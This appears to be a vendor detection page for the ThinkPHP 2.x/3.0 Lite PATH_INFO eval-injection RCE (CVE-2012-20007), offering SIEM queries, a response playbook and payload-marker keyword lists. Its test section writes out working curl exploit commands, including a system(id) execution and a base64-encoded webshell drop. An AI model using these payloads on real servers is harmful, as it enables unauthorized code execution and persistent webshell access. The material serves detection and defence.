ThinkPHP 2.x/3.0 Lite Dispatcher PATH_INFO eval Injection RCE (CVE-2012-20007)
Detects exploitation of the ThinkPHP 2.0-2.2 and 3.0 Lite-mode eval injection vulnerability in the Dispatcher's PATH_INFO parsing. The framework builds a module/action routing string from PATH_INFO and passes it to preg_replace() with the deprecated /e modifier, which evaluates the replacement as PHP code. By crafting a URL such as /index.php/module/action/param/${@phpinfo()} or using @eval() constructs, an unauthenticated attacker achieves arbitrary PHP code execution. This detection looks for the characteristic PATH_INFO payload patterns (${...}, @eval, @assert, phpinfo, system/exec/passthru, base64_decode) in web server access logs and WAF telemetry targeting index.php with extra path segments.
Based on VulnCheck Advisory: ThinkPHP 2.x/3.0 Lite Unauthenticated RCE via Dispatcher PATH_INFO
Vulnerability Intelligence
TheoreticalWeakness (CWE)
Timeline
- Disclosed
- November 18, 2026
References & Proof of Concept
- http://web.archive.org/web/20140201221754/http://www.jb51.net:80/softjc/43550.html
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/thinkphp/thinkphp-2-rce.yaml
- https://github.com/vulhub/vulhub/tree/master/thinkphp/2-rce
- https://www.vulncheck.com/advisories/thinkphp-2-x-3.0-lite-unauthenticated-rce-via-dispatcher-path-info
CVSS
What is CVE-2012-20007 ThinkPHP 2.x/3.0 Lite Dispatcher PATH_INFO eval Injection RCE (CVE-2012-20007)?
ThinkPHP 2.x/3.0 Lite Dispatcher PATH_INFO eval Injection RCE (CVE-2012-20007) (CVE-2012-20007) maps to the Initial Access and Execution tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for ThinkPHP 2.x/3.0 Lite Dispatcher PATH_INFO eval Injection RCE (CVE-2012-20007), covering the data sources and telemetry it touches: IIS Web Server Logs, W3C Web Access Logs. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Initial Access Execution
// df00tech DF00-080adae336 · https://df00tech.com/detections/CVE-2012-20007 · licence: https://df00tech.com/detections/licence
let payloadPatterns = dynamic(["${", "@eval", "@assert", "phpinfo", "base64_decode", "system(", "passthru", "shell_exec", "call_user_func"]);
let suspectPaths = W3CIISLog
| where TimeGenerated > ago(24h)
| extend FullUri = strcat(csUriStem, iff(isempty(csUriQuery), "", strcat("?", csUriQuery)))
| where csUriStem has "index.php" or csUriStem has_cs "index.php/"
| where FullUri has_any (payloadPatterns)
| where FullUri matches regex @"(?i)index\.php/.+/.+";
suspectPaths
| project TimeGenerated, cIP, csMethod, csUriStem, csUriQuery, FullUri, scStatus, csUserAgent, sSiteName
| sort by TimeGenerated desc Searches IIS/W3C web access logs for requests to index.php with ThinkPHP-style PATH_INFO segments containing PHP eval-injection payload markers.
Data Sources
Required Tables
False Positives
- Legitimate ThinkPHP applications that use ${} syntax in query values for non-malicious parameters
- Security scanners and authorized penetration testing tools probing the application
- URL-encoded shopping cart or template parameters that coincidentally contain ${ sequences
Query fingerprint DF00-080adae336 · licence
Sigma logsource & community rules
The detection logic for ThinkPHP 2.x/3.0 Lite Dispatcher PATH_INFO eval Injection RCE (CVE-2012-20007) (CVE-2012-20007) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2012-20007
References (4)
- https://www.vulncheck.com/advisories/thinkphp-2-x-3.0-lite-unauthenticated-rce-via-dispatcher-path-info
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/thinkphp/thinkphp-2-rce.yaml
- https://github.com/vulhub/vulhub/tree/master/thinkphp/2-rce
- http://web.archive.org/web/20140201221754/http://www.jb51.net:80/softjc/43550.html
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 ThinkPHP PATH_INFO phpinfo eval probe
Expected signal: Web access log entry for index.php with PATH_INFO containing ${@phpinfo()} and (if vulnerable) a large HTTP 200 response.
- Test 2 ThinkPHP eval injection command execution
Expected signal: Access log entry with system( payload in PATH_INFO; on a vulnerable host, php-fpm spawns a child shell running id.
- Test 3 ThinkPHP base64-encoded webshell drop
Expected signal: Access log entry containing @eval and base64_decode markers; creation of a new .php file in the web root.
Response Playbook
Triage
- Extract the full request URL from the alert and decode any URL/double-URL encoding to reveal the actual PATH_INFO payload (e.g. ${@phpinfo()}, @eval(...), base64_decode(...)). Confirm the segment follows index.php and uses /e-modifier-triggering syntax.
- Identify the target host and confirm whether it runs ThinkPHP 2.0-2.2 or 3.0 in Lite mode (check for /ThinkPHP/ directory, Lib/Think/Core/Dispatcher.class.php, or the X-Powered-By / response fingerprints).
- Review the HTTP response status and size for the suspect request. A 200 with reflected phpinfo output or command results indicates successful code execution, not just a probe.
- Pivot on the source IP to enumerate all other requests in the window, distinguishing a single opportunistic scan from a sustained exploitation sequence (payload probing followed by webshell drop).
Containment
- Block the attacking source IP(s) at the WAF/edge and, if exploitation succeeded, isolate the affected web host from the network to prevent lateral movement.
- Deploy a virtual patch / WAF rule rejecting index.php requests whose PATH_INFO contains ${, @eval, @assert, or base64_decode, and upgrade ThinkPHP to a non-vulnerable release that removes the preg_replace /e usage.
Evidence Collection
- Preserve the complete web server access and error logs covering the exploitation window, plus any PHP-FPM / php error logs showing eval() execution.
- Capture a forensic copy of the web root to identify any dropped webshells or modified PHP files, and snapshot running processes and network connections on the host.
Escalation Criteria
- ! Escalate to incident response immediately if the response indicates executed code (reflected phpinfo, command output) or if new/modified PHP files appear in the web root after the request.
- ! Escalate if the same source or payload family targets multiple internet-facing hosts, indicating a coordinated campaign rather than an isolated scan.
Investigation Guide
Forensic Artifacts
- >
Web server access logs containing index.php PATH_INFO payloads with ${}/@eval markers - >
PHP/PHP-FPM error logs showing eval()'d code or preg_replace deprecation notices - >
Newly created or modified .php files in the ThinkPHP web root (potential webshells) - >
Unexpected child processes (sh, bash, whoami, curl, wget) spawned by the php/php-fpm/httpd user
Tuning Guidance
If the organisation runs legitimate ThinkPHP apps that use ${} in path parameters, baseline those routes and exclude them by exact path prefix rather than removing the ${ pattern entirely. Tighten confidence to high when the request also returns HTTP 200 with an abnormally large response or when the source IP has no prior history. Consider splitting probe detection (phpinfo, ${@print()}) from weaponisation detection (base64_decode, system/exec/passthru) into separate severities.
Hunting Queries
Hunts for any index.php requests carrying ThinkPHP eval-injection payload markers across the environment, grouped by source and path.
// df00tech DF00-080adae336 · https://df00tech.com/detections/CVE-2012-20007 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "index.php" | where (strcat(csUriStem, csUriQuery)) matches regex @"(?i)(\$\{|@eval|@assert|phpinfo|base64_decode)" | summarize count() by cIP, csUriStem | sort by count_ desc ``` df00tech DF00-080adae336 · https://df00tech.com/detections/CVE-2012-20007 · licence: https://df00tech.com/detections/licence ```
index=web sourcetype=access_combined uri_path="*index.php*" | regex _raw="(?i)(\$\{|@eval|@assert|phpinfo|base64_decode)" | stats count by clientip, uri_path | sort - count Atomic Red Team Tests
Sends the canonical ThinkPHP 2.x RCE probe that triggers phpinfo() via the /e-modifier eval injection in PATH_INFO.
Command
curl -sk 'http://target.lab/index.php/module/action/param/${@phpinfo()}' -o /tmp/thinkphp_probe.out Cleanup
rm -f /tmp/thinkphp_probe.out Expected Telemetry
Web access log entry for index.php with PATH_INFO containing ${@phpinfo()} and (if vulnerable) a large HTTP 200 response.
Expected Detection
All seven SIEM queries match on the ${ and phpinfo payload markers in the index.php PATH_INFO.
Attempts OS command execution through the eval injection using a system() call embedded in PATH_INFO.
Command
curl -sk 'http://target.lab/index.php/module/action/x/${@system(id)}' Cleanup
echo 'no local artifacts to clean' Expected Telemetry
Access log entry with system( payload in PATH_INFO; on a vulnerable host, php-fpm spawns a child shell running id.
Expected Detection
Queries match on system( and ${ markers; EDR hunting query surfaces the php-fpm child process.
Uses the eval injection with base64_decode to write a minimal PHP webshell into the web root (lab-only).
Command
curl -sk 'http://target.lab/index.php/module/action/x/${@eval(base64_decode(PGF9cGhwIGV2YWwoJF9HRVRbMF0pOz8+))}' Cleanup
ssh target.lab 'rm -f /var/www/html/shell.php' 2>/dev/null || true Expected Telemetry
Access log entry containing @eval and base64_decode markers; creation of a new .php file in the web root.
Expected Detection
Queries match on @eval and base64_decode markers; forensic artifact hunt flags the new web-root PHP file.
Related Detections
Tactic Hubs
Related Techniques
Same Tactic: Initial Access
Browse by tactic
- Reconnaissance TA0043
- Resource Development TA0042
- Initial Access TA0001
- Execution TA0002
- Persistence TA0003
- Privilege Escalation TA0004
- Stealth TA0005
- Defense Impairment TA0112
- Credential Access TA0006
- Discovery TA0007
- Lateral Movement TA0008
- Collection TA0009
- Command and Control TA0011
- Exfiltration TA0010
- Impact TA0040